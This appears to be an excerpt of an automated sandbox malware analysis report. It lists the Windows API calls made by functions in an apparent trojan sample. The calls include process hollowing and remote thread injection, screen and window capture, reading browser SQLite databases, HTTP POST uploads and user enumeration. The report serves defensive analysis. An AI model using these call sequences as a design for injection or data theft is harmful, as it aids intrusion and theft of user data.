    • GetProcAddress.KERNEL32(?,CreateDCW), ref: 00A07C9F
    • GetProcAddress.KERNEL32(00000001,CreateCompatibleDC), ref: 00A07CAB
    • GetProcAddress.KERNEL32(00000001,CreateCompatibleBitmap), ref: 00A07CB8
    • GetProcAddress.KERNEL32(00000001,GetDeviceCaps), ref: 00A07CC5
    • GetProcAddress.KERNEL32(00000001,SelectObject), ref: 00A07CD2
    • GetProcAddress.KERNEL32(00000001,BitBlt), ref: 00A07CDF
    • GetProcAddress.KERNEL32(00000001,DeleteObject), ref: 00A07CEC
    • GetProcAddress.KERNEL32(00000001,DeleteDC), ref: 00A07CF9
    • LoadImageW.USER32(00000000,00007F00,00000002,00000000,00000000,00008040), ref: 00A07D9D
    • GetIconInfo.USER32(?,?), ref: 00A07DB2
    • GetCursorPos.USER32(?), ref: 00A07DC0
    • DrawIcon.USER32(?,?,?,?), ref: 00A07E91
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
    • lstrcmpiW.KERNEL32(?,?), ref: 00A07F13
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    • FreeLibrary.KERNEL32(00000000), ref: 00A08030
    • FreeLibrary.KERNEL32(?), ref: 00A0803A
    • FreeLibrary.KERNEL32(00000001), ref: 00A08044
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A04383, Relevance: 52.8, APIs: 29, Strings: 1, Instructions: 308
    APIs
      • Part of subcall function 00A1B77C: GetClassNameW.USER32(?,?,00000101), ref: 00A1B797
    • GetWindowInfo.USER32(?,?), ref: 00A043EF
    • IntersectRect.USER32(?,?), ref: 00A04412
    • IntersectRect.USER32(?,?), ref: 00A04468
    • GetDC.USER32(00000000), ref: 00A044AC
    • CreateCompatibleDC.GDI32 ref: 00A044BD
    • ReleaseDC.USER32(00000000), ref: 00A044C7
    • SelectObject.GDI32(?,?), ref: 00A044DC
    • DeleteDC.GDI32 ref: 00A044EA
    • TlsSetValue.KERNEL32(?), ref: 00A04535
    • EqualRect.USER32(?,?), ref: 00A0454F
    • SaveDC.GDI32 ref: 00A0455A
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A04575
    • SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00A04595
    • DefWindowProcW.USER32(?,00000317,?,00000002), ref: 00A045A7
    • RestoreDC.GDI32(?,?), ref: 00A045BE
    • SaveDC.GDI32 ref: 00A045E0
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A045F6
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 00A0460F
    • RestoreDC.GDI32(?,?), ref: 00A0461D
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A04630
    • SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00A04640
    • DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00A04652
    • TlsSetValue.KERNEL32(00000000), ref: 00A0466C
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A0468C
    • DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 00A046A8
    • SelectObject.GDI32(?,?), ref: 00A046BE
    • DeleteDC.GDI32 ref: 00A046C5
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A046ED
      • Part of subcall function 00A042A1: GdiFlush.GDI32 ref: 00A042F8
    • PrintWindow.USER32(00000008,?,00000000), ref: 00A04703
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1B7E3, Relevance: 25.7, APIs: 17, Instructions: 207
    APIs
    • TlsAlloc.KERNEL32(?,00A245C0,00000000), ref: 00A1B7FD
    • RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,00A245C0,00000000), ref: 00A1B824
    • CreateEventW.KERNEL32(00A22AFC,00000001,00000000,?), ref: 00A1B84B
    • CreateMutexW.KERNEL32(00A22AFC,00000000,?), ref: 00A1B86B
    • CreateFileMappingW.KERNEL32(00000000,00A22AFC,00000004,00000000,03D09128,?), ref: 00A1B893
    • MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 00A1B8A9
    • GetDC.USER32(00000000), ref: 00A1B8C6
    • GetDeviceCaps.GDI32(?,00000008), ref: 00A1B8E6
    • GetDeviceCaps.GDI32(00000000,0000000A), ref: 00A1B8F0
    • CreateCompatibleBitmap.GDI32(00000000,?), ref: 00A1B8FD
      • Part of subcall function 00A0FA1C: GetDIBits.GDI32(00A245C0,00000002,00000000,00000001,00000000,?,00000000), ref: 00A0FA54
      • Part of subcall function 00A0FA1C: GetDIBits.GDI32(00A245C0,00000002,00000000,00000001,00000000,?,00000000), ref: 00A0FA6A
      • Part of subcall function 00A0FA1C: DeleteObject.GDI32(00000002), ref: 00A0FA77
      • Part of subcall function 00A0FA1C: CreateDIBSection.GDI32(00A245C0,?,00000000,00000000,00000000,00000000), ref: 00A0FAE7
      • Part of subcall function 00A0FA1C: DeleteObject.GDI32(00000002), ref: 00A0FB06
    • ReleaseDC.USER32(00000000,00000000), ref: 00A1B925
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    • CreateMutexW.KERNEL32(00A22AFC,00000000,?), ref: 00A1B9C9
    • GetDC.USER32(00000000), ref: 00A1B9DE
    • CreateCompatibleDC.GDI32 ref: 00A1B9EB
    • CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 00A1BA00
    • SelectObject.GDI32(?), ref: 00A1BA17
    • ReleaseDC.USER32(00000000), ref: 00A1BA2D
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A16DB7, Relevance: 25.6, APIs: 17, Instructions: 148
    APIs
    • OpenProcess.KERNEL32(?,00000000,?), ref: 00A16DE0
      • Part of subcall function 009F7F10: DuplicateHandle.KERNEL32(000000FF,?,?,?,00000000,00000000,00000002), ref: 009F7F40
      • Part of subcall function 009F7F10: VirtualFreeEx.KERNEL32(?,7C809BE7,00000000,00008000), ref: 009F802C
    • CreateFileMappingW.KERNEL32(00000000,00000000,00000040,00000000,?,00000000), ref: 00A16E2B
    • MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,?), ref: 00A16E4E
    • NtSuspendProcess.NTDLL(?,?,00000006,00000000), ref: 00A16E60
    • ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 00A16E7C
    • NtUnmapViewOfSection.NTDLL(?,?,?,?), ref: 00A16EAE
    • NtMapViewOfSection.NTDLL(?,?,?,00000000), ref: 00A16ECC
    • FlushInstructionCache.KERNEL32(?,?,00000006), ref: 00A16EDA
    • NtResumeProcess.NTDLL(?,?,?,?), ref: 00A16EE5
    • Sleep.KERNEL32(00000064), ref: 00A16EF2
    • UnmapViewOfFile.KERNEL32(?), ref: 00A16EFB
    • CloseHandle.KERNEL32(?), ref: 00A16F04
    • CreateRemoteThread.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000), ref: 00A16F1D
    • WaitForSingleObject.KERNEL32(?,00002710), ref: 00A16F2F
    • CloseHandle.KERNEL32 ref: 00A16F36
    • VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00A16F4F
    • CloseHandle.KERNEL32 ref: 00A16F56
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 009F9065, Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 137
    APIs
      • Part of subcall function 00A0D9C8: GetTempPathW.KERNEL32(000000F6,?), ref: 00A0D9DF
      • Part of subcall function 00A0A3FB: WaitForSingleObject.KERNEL32(?,?), ref: 00A0A44F
      • Part of subcall function 00A0A3FB: Sleep.KERNEL32(?), ref: 00A0A462
      • Part of subcall function 00A0A3FB: InternetCloseHandle.WININET ref: 00A0A4E8
    • LoadLibraryW.KERNEL32(msvcrt.dll), ref: 009F9176
    • LoadLibraryW.KERNEL32(?), ref: 009F9184
    • GetProcAddress.KERNEL32(?,sqlite3_close), ref: 009F91AA
    • GetProcAddress.KERNEL32(?,sqlite3_exec), ref: 009F91B6
    • GetProcAddress.KERNEL32(?,sqlite3_free), ref: 009F91C2
    • GetProcAddress.KERNEL32(?,sqlite3_open16), ref: 009F91CE
      • Part of subcall function 009F8C09: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 009F8C30
      • Part of subcall function 009F8C09: GetFileAttributesW.KERNEL32(?), ref: 009F8C84
      • Part of subcall function 009F8C09: GetPrivateProfileIntW.KERNEL32(?,?,000000FF,?), ref: 009F8CE7
      • Part of subcall function 009F8C09: GetPrivateProfileStringW.KERNEL32(?,00000000,00000000,?,00000104,?), ref: 009F8D15
    • FreeLibrary.KERNEL32(?), ref: 009F9230
    • FreeLibrary.KERNEL32(?), ref: 009F9236
      • Part of subcall function 00A0D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00A0D95E
      • Part of subcall function 00A0D955: DeleteFileW.KERNEL32(?), ref: 00A0D968
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A124CC, Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181
    APIs
      • Part of subcall function 00A0CF9B: InternetCrackUrlA.WININET(?,00000000,00000000,?), ref: 00A0CFC9
    • InternetOpenA.WININET(00000000,00000000,00000000,00000000,?), ref: 00A124FA
    • InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A12518
    • HttpOpenRequestA.WININET(?,POST,?,HTTP/1.1,?,00000000,?,00000000), ref: 00A12563
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000), ref: 00A125B8
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000), ref: 00A1262C
    • HttpSendRequestA.WININET(?,00000000,00000000,?,?), ref: 00A1264E
    • HttpQueryInfoA.WININET(?,20000013,?,?,00000000), ref: 00A12672
      • Part of subcall function 00A0A61A: InternetQueryOptionA.WININET(00000003,00000022,00000000), ref: 00A0A62E
      • Part of subcall function 00A0A61A: GetLastError.KERNEL32(?,?,?,00A1268F,?,?,20000013,?,?,00000000,?,00000000,00000000,?,?), ref: 00A0A638
      • Part of subcall function 00A0A61A: InternetQueryOptionA.WININET(00000003,00000022), ref: 00A0A658
    • InternetCloseHandle.WININET ref: 00A126B5
    • InternetCloseHandle.WININET(?), ref: 00A126BE
    • InternetCloseHandle.WININET(?), ref: 00A126C7
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1BEC4, Relevance: 22.6, APIs: 15, Instructions: 132
    APIs
    • GetMenu.USER32(?), ref: 00A1BEEE
    • GetMenuItemCount.USER32 ref: 00A1BF04
    • GetMenuState.USER32(?,00000000,00000400), ref: 00A1BF1C
    • HiliteMenuItem.USER32(?,?,00000000,00000400), ref: 00A1BF2C
    • MenuItemFromPoint.USER32(?,?,?,?), ref: 00A1BF52
    • GetMenuState.USER32(?,?,00000400), ref: 00A1BF66
    • EndMenu.USER32 ref: 00A1BF76
    • HiliteMenuItem.USER32(?,?,?,00000480), ref: 00A1BF86
    • GetSubMenu.USER32 ref: 00A1BFAA
    • GetMenuItemRect.USER32(?,?,?,?), ref: 00A1BFC4
    • TrackPopupMenuEx.USER32(?,00004000,?,?,?,00000000), ref: 00A1BFE5
    • GetMenuItemID.USER32 ref: 00A1BFFD
    • SendMessageW.USER32(?,00000111,?,00000000), ref: 00A1C016
      • Part of subcall function 00A04383: GetWindowInfo.USER32(?,?), ref: 00A043EF
      • Part of subcall function 00A04383: IntersectRect.USER32(?,?), ref: 00A04412
      • Part of subcall function 00A04383: IntersectRect.USER32(?,?), ref: 00A04468
      • Part of subcall function 00A04383: GetDC.USER32(00000000), ref: 00A044AC
      • Part of subcall function 00A04383: CreateCompatibleDC.GDI32 ref: 00A044BD
      • Part of subcall function 00A04383: ReleaseDC.USER32(00000000), ref: 00A044C7
      • Part of subcall function 00A04383: SelectObject.GDI32(?,?), ref: 00A044DC
      • Part of subcall function 00A04383: DeleteDC.GDI32 ref: 00A044EA
      • Part of subcall function 00A04383: TlsSetValue.KERNEL32(?), ref: 00A04535
      • Part of subcall function 00A04383: EqualRect.USER32(?,?), ref: 00A0454F
      • Part of subcall function 00A04383: SaveDC.GDI32 ref: 00A0455A
      • Part of subcall function 00A04383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A04575
      • Part of subcall function 00A04383: SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00A04595
      • Part of subcall function 00A04383: DefWindowProcW.USER32(?,00000317,?,00000002), ref: 00A045A7
      • Part of subcall function 00A04383: RestoreDC.GDI32(?,?), ref: 00A045BE
      • Part of subcall function 00A04383: SaveDC.GDI32 ref: 00A045E0
      • Part of subcall function 00A04383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A045F6
      • Part of subcall function 00A04383: SendMessageW.USER32(?,00000014,?,00000000), ref: 00A0460F
      • Part of subcall function 00A04383: RestoreDC.GDI32(?,?), ref: 00A0461D
      • Part of subcall function 00A04383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A04630
      • Part of subcall function 00A04383: SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00A04640
      • Part of subcall function 00A04383: DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00A04652
      • Part of subcall function 00A04383: TlsSetValue.KERNEL32(00000000), ref: 00A0466C
      • Part of subcall function 00A04383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A0468C
      • Part of subcall function 00A04383: DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 00A046A8
      • Part of subcall function 00A04383: SelectObject.GDI32(?,?), ref: 00A046BE
      • Part of subcall function 00A04383: DeleteDC.GDI32 ref: 00A046C5
      • Part of subcall function 00A04383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A046ED
      • Part of subcall function 00A04383: PrintWindow.USER32(00000008,?,00000000), ref: 00A04703
    • SetKeyboardState.USER32 ref: 00A1C055
    • SetEvent.KERNEL32 ref: 00A1C061
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0C249, Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 52
    APIs
    • LoadLibraryA.KERNEL32(cabinet.dll), ref: 00A0C25D
    • GetProcAddress.KERNEL32(?,FCICreate), ref: 00A0C27D
    • GetProcAddress.KERNEL32(FCIAddFile), ref: 00A0C28F
    • GetProcAddress.KERNEL32(FCIFlushCabinet), ref: 00A0C2A1
    • GetProcAddress.KERNEL32(FCIDestroy), ref: 00A0C2B3
    • HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 00A0C2DE
    • FreeLibrary.KERNEL32(FCICreate), ref: 00A0C2F3
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1A69D, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 188
    APIs
    • LoadLibraryW.KERNEL32(?), ref: 00A1A6BE
    • GetProcAddress.KERNEL32(?,?), ref: 00A1A6DF
    • SHGetFolderPathW.SHELL32(00000000,00000007,000000FF,00000001,?), ref: 00A1A710
    • StrCmpNIW.SHLWAPI(?,?), ref: 00A1A733
    • FreeLibrary.KERNEL32 ref: 00A1A75A
    • NetUserEnum.NETAPI32(00000000,00000000,00000002,00000000,000000FF,009F878D,?,?), ref: 00A1A790
    • NetUserGetInfo.NETAPI32(00000000,00000000,00000017,?), ref: 00A1A7C9
      • Part of subcall function 009FADB4: ConvertSidToStringSidW.ADVAPI32(?,?), ref: 009FADC8
      • Part of subcall function 009FADB4: PathUnquoteSpacesW.SHLWAPI(?), ref: 009FAE31
      • Part of subcall function 009FADB4: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 009FAE42
      • Part of subcall function 009FADB4: LocalFree.KERNEL32(?), ref: 009FAE5A
    • NetApiBufferFree.NETAPI32(?), ref: 00A1A862
      • Part of subcall function 00A0DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A0DEF5
      • Part of subcall function 00A0DC58: PathSkipRootW.SHLWAPI(?), ref: 00A0DC63
      • Part of subcall function 00A0DC58: GetFileAttributesW.KERNEL32(?), ref: 00A0DC8B
      • Part of subcall function 00A0DC58: CreateDirectoryW.KERNEL32(?,00000000), ref: 00A0DC99
      • Part of subcall function 00A19ED2: LoadLibraryW.KERNEL32(?), ref: 00A19EE9
      • Part of subcall function 00A19ED2: GetProcAddress.KERNEL32(?,?), ref: 00A19F15
      • Part of subcall function 00A19ED2: GetProcAddress.KERNEL32(?,00000006), ref: 00A19F2C
      • Part of subcall function 00A19ED2: GetProcAddress.KERNEL32(?,00000000), ref: 00A19F44
      • Part of subcall function 00A19ED2: WTSGetActiveConsoleSessionId.KERNEL32 ref: 00A19F61
      • Part of subcall function 00A19ED2: FreeLibrary.KERNEL32(?), ref: 00A19FCD
    • NetApiBufferFree.NETAPI32(00000000), ref: 00A1A875
    • SHGetFolderPathW.SHELL32(00000000,00008007,000000FF,00000001,?), ref: 00A1A899
      • Part of subcall function 00A0C9F6: PathAddExtensionW.SHLWAPI(00000006,00000000), ref: 00A0CA37
      • Part of subcall function 00A0C9F6: GetFileAttributesW.KERNEL32(00000006), ref: 00A0CA44
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1BA3D, Relevance: 18.1, APIs: 12, Instructions: 75
    APIs
    • DeleteObject.GDI32(00000000), ref: 00A1BA4D
    • CloseHandle.KERNEL32(00000000), ref: 00A1BA5D
    • TlsFree.KERNEL32 ref: 00A1BA68
    • CloseHandle.KERNEL32(00000000), ref: 00A1BA76
    • UnmapViewOfFile.KERNEL32(00000000), ref: 00A1BA80
    • CloseHandle.KERNEL32 ref: 00A1BA8D
    • SelectObject.GDI32(00000000,00000000), ref: 00A1BAA7
    • DeleteObject.GDI32(00000000), ref: 00A1BAB8
    • DeleteDC.GDI32(00000000), ref: 00A1BAC5
    • CloseHandle.KERNEL32(00000000), ref: 00A1BAD6
    • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00A1BAE5
    • PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00A1BC3C,00000000,00A245C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00A1BAFE
      • Part of subcall function 00A09EB0: CloseHandle.KERNEL32(00000000), ref: 00A09EC2
      • Part of subcall function 00A09EB0: CloseHandle.KERNEL32 ref: 00A09ECB
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0A17F, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 92
    APIs
    • HttpOpenRequestA.WININET(?,POST,?,HTTP/1.1,00000000,00A22530,8404F700,00000000), ref: 00A0A1CB
    • InternetQueryOptionA.WININET(?,0000001F,?,00000001), ref: 00A0A217
    • InternetSetOptionW.WININET(?,0000001F,00003100,00000004), ref: 00A0A22C
    • HttpSendRequestA.WININET(?,009F6FA8,00000013,?,?), ref: 00A0A243
    • HttpQueryInfoA.WININET(?,20000013,00000000,?,00000000), ref: 00A0A260
    • InternetCloseHandle.WININET ref: 00A0A278
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A09DBF, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 91
    APIs
    • LoadLibraryA.KERNEL32(userenv.dll), ref: 00A09DD0
    • GetProcAddress.KERNEL32(?,CreateEnvironmentBlock), ref: 00A09DEF
    • GetProcAddress.KERNEL32(?,DestroyEnvironmentBlock), ref: 00A09DFB
    • CreateProcessAsUserW.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00A19EB5,00000000,?,?), ref: 00A09E70
    • CloseHandle.KERNEL32(?), ref: 00A09E83
    • CloseHandle.KERNEL32(?), ref: 00A09E88
    • FreeLibrary.KERNEL32(?), ref: 00A09E9F
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A04B5A, Relevance: 16.6, APIs: 11, Instructions: 119
    APIs
      • Part of subcall function 00A1B77C: GetClassNameW.USER32(?,?,00000101), ref: 00A1B797
    • GetWindowThreadProcessId.USER32(?,?), ref: 00A04B85
    • ResetEvent.KERNEL32(?), ref: 00A04BCD
    • PostMessageW.USER32(?,?), ref: 00A04BF7
    • WaitForSingleObject.KERNEL32(?,00000064), ref: 00A04C06
      • Part of subcall function 00A049F6: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A04A0F
      • Part of subcall function 00A049F6: ResetEvent.KERNEL32(?), ref: 00A04A65
      • Part of subcall function 00A049F6: WaitForSingleObject.KERNEL32(?,000003E8), ref: 00A04AA0
      • Part of subcall function 00A049F6: TerminateProcess.KERNEL32(?,00000000), ref: 00A04AB1
    • ResetEvent.KERNEL32(?), ref: 00A04C31
    • PostThreadMessageW.USER32(?,?,000000FC,?), ref: 00A04C45
    • WaitForSingleObject.KERNEL32(?,000003E8), ref: 00A04C57
    • TerminateProcess.KERNEL32(?,00000000), ref: 00A04C7A
      • Part of subcall function 00A09EB0: CloseHandle.KERNEL32(00000000), ref: 00A09EC2
      • Part of subcall function 00A09EB0: CloseHandle.KERNEL32 ref: 00A09ECB
    • IntersectRect.USER32(?,?,?), ref: 00A04CA2
    • FillRect.USER32(?,?,00000006), ref: 00A04CB4
    • DrawEdge.USER32(?,?,0000000A,0000000F), ref: 00A04CC8
      • Part of subcall function 00A0CB9A: StringFromGUID2.OLE32(?,00000064,00000028), ref: 00A0CC37
      • Part of subcall function 00A0BD45: OpenMutexW.KERNEL32(00100000,00000000,00000000), ref: 00A0BD50
      • Part of subcall function 00A0BD45: CloseHandle.KERNEL32 ref: 00A0BD5B
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1CCB0, Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 274
    APIs
      • Part of subcall function 00A0CC75: WindowFromPoint.USER32(?,?), ref: 00A0CC91
      • Part of subcall function 00A0CC75: SendMessageTimeoutW.USER32(?,00000084,00000000,?,00000002,?,?), ref: 00A0CCC2
      • Part of subcall function 00A0CC75: GetWindowLongW.USER32(?,000000F0), ref: 00A0CCE6
      • Part of subcall function 00A0CC75: SetWindowLongW.USER32(?,000000F0), ref: 00A0CCF7
      • Part of subcall function 00A0CC75: GetWindowLongW.USER32(00000002,000000F0), ref: 00A0CD14
      • Part of subcall function 00A0CC75: SetWindowLongW.USER32(?,000000F0), ref: 00A0CD22
    • GetWindowLongW.USER32(?,000000F0), ref: 00A1CDBC
    • GetParent.USER32 ref: 00A1CDDE
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 00A1CE03
    • IsWindow.USER32(?), ref: 00A1CE26
      • Part of subcall function 00A1C7B3: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A1C7B9
      • Part of subcall function 00A1C7B3: ReleaseMutex.KERNEL32 ref: 00A1C7ED
      • Part of subcall function 00A1C7B3: IsWindow.USER32(?), ref: 00A1C7F4
      • Part of subcall function 00A1C7B3: PostMessageW.USER32(?,00000215,00000000,?), ref: 00A1C80E
      • Part of subcall function 00A1C7B3: SendMessageW.USER32(?,00000215,00000000,?), ref: 00A1C816
    • GetWindowInfo.USER32(?,?), ref: 00A1CE76
    • PostMessageW.USER32(?,0000020A,?,?,00000000,?,?,00000000), ref: 00A1CFB3
      • Part of subcall function 00A1CA22: GetAncestor.USER32(?,00000002), ref: 00A1CA4B
      • Part of subcall function 00A1CA22: SendMessageTimeoutW.USER32(?,00000021,?,?,00000002,00000064,?), ref: 00A1CA76
      • Part of subcall function 00A1CA22: PostMessageW.USER32(?,00000020,?), ref: 00A1CAB8
      • Part of subcall function 00A1CA22: GetWindowThreadProcessId.USER32(?,00000000), ref: 00A1CB4E
      • Part of subcall function 00A1CA22: PostMessageW.USER32(?,00000112,?,?), ref: 00A1CBA1
      • Part of subcall function 00A1CA22: GetWindowThreadProcessId.USER32(?,00000000), ref: 00A1CBE0
      • Part of subcall function 00A1B77C: GetClassNameW.USER32(?,?,00000101), ref: 00A1B797
      • Part of subcall function 00A1C822: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A1C836
      • Part of subcall function 00A1C822: ReleaseMutex.KERNEL32 ref: 00A1C855
      • Part of subcall function 00A1C822: GetWindowRect.USER32(?,?), ref: 00A1C862
      • Part of subcall function 00A1C822: IsRectEmpty.USER32(?), ref: 00A1C8E6
      • Part of subcall function 00A1C822: GetWindowLongW.USER32(?,000000F0), ref: 00A1C8F5
      • Part of subcall function 00A1C822: GetParent.USER32(?), ref: 00A1C90B
      • Part of subcall function 00A1C822: MapWindowPoints.USER32(00000000), ref: 00A1C914
      • Part of subcall function 00A1C822: SetWindowPos.USER32(?,00000000,?,?,?,?,0000630C), ref: 00A1C938
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A16A3F, Relevance: 15.3, APIs: 10, Instructions: 310
    APIs
    • Sleep.KERNEL32(00000BB8), ref: 00A16A79
      • Part of subcall function 00A10477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00A104BA
    • CoInitializeEx.OLE32(00000000,00000002), ref: 00A16AB1
    • #6.OLEAUT32(00000004,?,?), ref: 00A16D3F
      • Part of subcall function 00A1697C: StringFromGUID2.OLE32(009F7254,?,00000032), ref: 00A16995
      • Part of subcall function 00A1697C: CoGetObject.OLE32(?,?,009F7264,?), ref: 00A169F0
    • CoCreateInstance.OLE32(009F7254,00000000,00004401,009F7264,?), ref: 00A16B0D
    • SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00A16BE1
      • Part of subcall function 00A0DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A0DEF5
    • #2.OLEAUT32(?,?,?,?,?), ref: 00A16C17
    • #2.OLEAUT32(?,?,?), ref: 00A16C2B
    • CoCreateInstance.OLE32(009F7274,00000000,00004401,009F7284,?), ref: 00A16CC6
    • #6.OLEAUT32(?,?,?), ref: 00A16D27
    • #6.OLEAUT32(00000004,?,?,?), ref: 00A16D2C
      • Part of subcall function 00A0EBA1: CoUninitialize.OLE32 ref: 00A0EBAF
      • Part of subcall function 00A10533: CreateMutexW.KERNEL32(00A22AFC,00000000,Global\{F0DDC10A-AA1F-173E-A961-10791936558D}), ref: 00A10556
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A18F82, Relevance: 15.2, APIs: 10, Instructions: 197
    APIs
      • Part of subcall function 009F7ED5: CreateMutexW.KERNEL32(00A22AFC,00000000,?), ref: 009F7EF6
    • InterlockedExchange.KERNEL32(00A24188,00000002,-00000007), ref: 00A18FB5
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
      • Part of subcall function 00A18964: PathRemoveFileSpecW.SHLWAPI(00A24398), ref: 00A189A0
      • Part of subcall function 00A18964: PathRenameExtensionW.SHLWAPI(?,.tmp), ref: 00A189C0
      • Part of subcall function 00A18964: GetFileAttributesW.KERNEL32(00A24190), ref: 00A189E3
    • GetFileAttributesW.KERNEL32(?), ref: 00A19079
    • CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 00A190A1
      • Part of subcall function 00A0D92E: GetFileSizeEx.KERNEL32(?,?), ref: 00A0D93A
    • CloseHandle.KERNEL32 ref: 00A190BF
